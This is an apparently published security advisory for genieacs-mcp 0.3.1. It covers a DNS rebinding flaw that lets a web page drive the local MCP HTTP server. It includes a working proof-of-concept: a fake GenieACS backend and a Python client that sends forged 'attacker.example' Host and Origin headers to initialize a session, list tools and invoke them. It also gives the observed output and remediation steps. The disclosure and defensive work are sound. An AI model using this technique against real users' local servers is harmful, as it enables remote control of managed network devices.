genieacs-mcp: DNS rebinding reaches local GenieACS MCP Streamable HTTP transport
🔗 CVE IDs covered (1)
📋 Description
genieacs-mcp exposes a local Streamable HTTP MCP endpoint that accepts attacker-controlled Host and Origin headers. A malicious web page can use DNS rebinding to route browser requests to a victim's loopback MCP listener while preserving the attacker origin. The server accepts the request, initializes an MCP session, lists GenieACS tools, and can invoke tools against the configured GenieACS NBI without a browser-supplied secret.
The affected package is genieacs-mcp version 0.3.1 at commit 4d7d3c74740efb7f3833aadc8a8e9177650eb462.
The vulnerable transport setup is in cmd/server/main.go. When TRANSPORT is not stdio, the server creates a Streamable HTTP MCP handler:
// cmd/server/main.go:92
httpSrv := server.NewStreamableHTTPServer(s)
addr := os.Getenv("MCP_LISTEN_ADDR")
if addr == "" {
addr = "127.0.0.1:8080"
}
authToken := os.Getenv("MCP_AUTH_TOKEN")
if authToken == "" && !isLoopbackAddr(addr) {
log.Fatal("MCP_AUTH_TOKEN is required when MCP_LISTEN_ADDR is not loopback")
}
if authToken != "" {
mux := http.NewServeMux()
mux.Handle("/mcp", bearerAuth(httpSrv, authToken))
log.Printf("GenieACS MCP bridge listening on %s (auth enabled)", addr)
if err := http.ListenAndServe(addr, mux); err != nil {
log.Fatalf("server error: %v", err)
}
} else {
log.Printf("GenieACS MCP bridge listening on %s", addr)
if err := httpSrv.Start(addr); err != nil {
log.Fatalf("server error: %v", err)
}
}
For the default loopback listener, MCP_AUTH_TOKEN is not required. The unauthenticated branch calls httpSrv.Start(addr) directly. There is no middleware or MCP transport configuration that validates Host or Origin before /mcp handles the request.
The README documents loopback HTTP as the default deployment mode and says MCP_AUTH_TOKEN is required only when MCP_LISTEN_ADDR is non-loopback:
TRANSPORT: empty = HTTP
MCP_LISTEN_ADDR: 127.0.0.1:8080
MCP_AUTH_TOKEN: empty, required when MCP_LISTEN_ADDR is non-loopback
That leaves the browser-origin boundary as the missing control. DNS rebinding is designed to reach loopback listeners from a public web page unless the local server rejects attacker-controlled Host and Origin values.
Proof of concept
The following reproduction uses a fake GenieACS NBI with planted CPE data. It proves that attacker-shaped browser-origin headers reach the real MCP handler and that an MCP tool call reaches the configured GenieACS backend.
Start a fake GenieACS NBI:
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import json
import urllib.parse
DEVICE_ID = "00236A-FAKE-CPE-PWNED"
class Handler(BaseHTTPRequestHandler):
def _json(self, value, status=200):
data = json.dumps(value, indent=2).encode()
self.send_response(status)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
def do_GET(self):
print("FAKE_ACS_GET", self.path, dict(self.headers), flush=True)
parsed = urllib.parse.urlparse(self.path)
if parsed.path.rstrip("/") == "/devices":
self._json([{
"_id": DEVICE_ID,
"_tags": ["poc-owned"],
"Device": {
"DeviceInfo": {
"SoftwareVersion": {"_value": "PLANTED-FAKE-FIRMWARE-9.9.9"},
"SerialNumber": {"_value": "PLUTO-FAKE-CPE-0001"}
},
"ManagementServer": {
"URL": {"_value": "https://acs-control.example.invalid/cwmp"}
}
}
}])
return
self._json({"error": "not found"}, 404)
def log_message(self, fmt, *args):
return
ThreadingHTTPServer(("127.0.0.1", 18083), Handler).serve_forever()
PY
In a second terminal, run the affected MCP server:
git clone https://github.com/GeiserX/genieacs-mcp.git
cd genieacs-mcp
git checkout 4d7d3c74740efb7f3833aadc8a8e9177650eb462
GOCACHE=/tmp/genieacs_mcp_gocache \
GOPATH=/tmp/genieacs_mcp_gopath \
go build -o /tmp/genieacs-mcp ./cmd/server
ACS_URL=http://127.0.0.1:18083 \
MCP_LISTEN_ADDR=127.0.0.1:8083 \
/tmp/genieacs-mcp
In a third terminal, send MCP requests with forged browser-origin headers:
python3 - <<'PY'
import http.client
import json
PORT = 8083
PROTO = "2024-11-05"
ATTACKER_HOST = f"attacker.example:{PORT}"
def parse_rpc(text):
text = (text or "").strip()
if text.startswith("{") or text.startswith("["):
return [json.loads(text)]
out = []
for line in text.splitlines():
line = line.strip()
if line.startswith("data:"):
data = line[5:].strip()
if data and data != "[DONE]":
out.append(json.loads(data))
return out
sid = None
def rpc(body):
global sid
headers = {
"Host": ATTACKER_HOST,
"Origin": "http://" + ATTACKER_HOST,
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
}
if sid:
headers["Mcp-Session-Id"] = sid
headers["MCP-Protocol-Version"] = PROTO
conn = http.client.HTTPConnection("127.0.0.1", PORT, timeout=10)
conn.request("POST", "/mcp", json.dumps(body), headers)
res = conn.getresponse()
raw_headers = dict(res.getheaders())
if raw_headers.get("Mcp-Session-Id"):
sid = raw_headers["Mcp-Session-Id"]
text = res.read().decode("utf-8", "replace")
conn.close()
return res.status, parse_rpc(text), text
init_status, init_msgs, init_raw = rpc({
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": PROTO,
"capabilities": {},
"clientInfo": {"name": "genieacs-rebind-check", "version": "1"}
}
})
notify_status, _, _ = rpc({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}})
tools_status, tools_msgs, tools_raw = rpc({
"jsonrpc": "2.0",
"id": 2,
"method": "tools/list",
"params": {}
})
call_status, call_msgs, call_raw = rpc({
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "get_parameter",
"arguments": {
"device_id": "00236A-FAKE-CPE-PWNED",
"parameter_path": "Device.DeviceInfo.SoftwareVersion,Device.ManagementServer.URL"
}
}
})
print("initialize_status", init_status)
print("session_created", bool(sid))
print("initialized_notification_status", notify_status)
print("tools_list_status", tools_status)
print(tools_raw[:1200])
print("get_parameter_status", call_status)
print(call_raw)
PY
The MCP request uses attacker-controlled browser-origin headers and no Authorization header:
POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json
Accept: application/json, text/event-stream
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"genieacs-rebind-check","version":"1"}}}
Observed output:
initialize_status 200
session_created True
initialized_notification_status 202
tools_list_status 200
tools/list returns 12 tools, including:
connection_request
delete_task
download_firmware
get_parameter
manage_preset
manage_provision
reboot_device
refresh_parameter
retry_task
search_devices
set_parameter
tag_device
The get_parameter tool call reaches the fake GenieACS NBI and returns the planted marker:
Cached parameter values: [
{
"_id": "00236A-FAKE-CPE-PWNED",
"_tags": [
"poc-owned"
],
"Device": {
"DeviceInfo": {
"SoftwareVersion": {
"_value": "PLANTED-FAKE-FIRMWARE-9.9.9"
},
"SerialNumber": {
"_value": "PLUTO-FAKE-CPE-0001"
}
},
"ManagementServer": {
"URL": {
"_value": "https://acs-control.example.invalid/cwmp"
}
}
}
}
]
The fake GenieACS NBI also records the backend request from the MCP server:
FAKE_ACS_GET /devices/?projection=Device.DeviceInfo.SoftwareVersion%2CDevice.ManagementServer.URL&query=%7B%22_id%22%3A%2200236A-FAKE-CPE-PWNED%22%7D
Impact
A malicious website can control a victim's local genieacs-mcp HTTP server when the victim runs the documented default loopback HTTP mode. The page can initialize MCP, list available tools, and invoke GenieACS operations through the server's configured ACS_URL.
In a real deployment, this can expose or modify CPE management state through GenieACS. The exposed tools include device reboot, firmware download task creation, TR-069 parameter changes, preset and provision management, tag changes, connection requests, task deletion, and task retry. Those actions execute with the MCP server's configured GenieACS access.
Why this is a vulnerability, not intended behavior
- The project treats loopback HTTP as a safety boundary. The README documents
127.0.0.1:8080as the default HTTP listen address and requiresMCP_AUTH_TOKENonly for non-loopback listeners. - DNS rebinding bypasses the loopback-only assumption unless the local HTTP server validates
HostandOrigin. - PR #22 added bearer authentication for non-loopback listeners. It explicitly left loopback listeners unauthenticated for compatibility. That protects direct non-loopback exposure, but it does not protect the browser-origin path into a loopback listener.
- A local trusted MCP client is the intended caller. A public web page is not.
Remediation
Add Host and Origin validation before the MCP handler accepts any request. For the default loopback mode, allow only local values such as:
Host: 127.0.0.1:8080
Host: localhost:8080
Origin: http://127.0.0.1:8080
Origin: http://localhost:8080
Reject unexpected Host or Origin values before MCP initialization. Treat absent or non-local Origin on browser-reachable requests as suspicious unless the request is authenticated.
Also require a bearer token for HTTP transport even on loopback, or make stdio the default transport and require an explicit opt-in for unauthenticated loopback HTTP.
🎯 Affected products1
- go/github.com/geiserx/genieacs-mcp:<= 0.3.1
🔗 References (5)
- https://github.com/GeiserX/genieacs-mcp/security/advisories/GHSA-cmwv-wf9p-p8wx
- https://github.com/GeiserX/genieacs-mcp/pull/26
- https://github.com/GeiserX/genieacs-mcp/commit/577306d78190622eee97e362b042a69499ef373f
- https://github.com/GeiserX/genieacs-mcp/releases/tag/v0.3.2
- https://github.com/advisories/GHSA-cmwv-wf9p-p8wx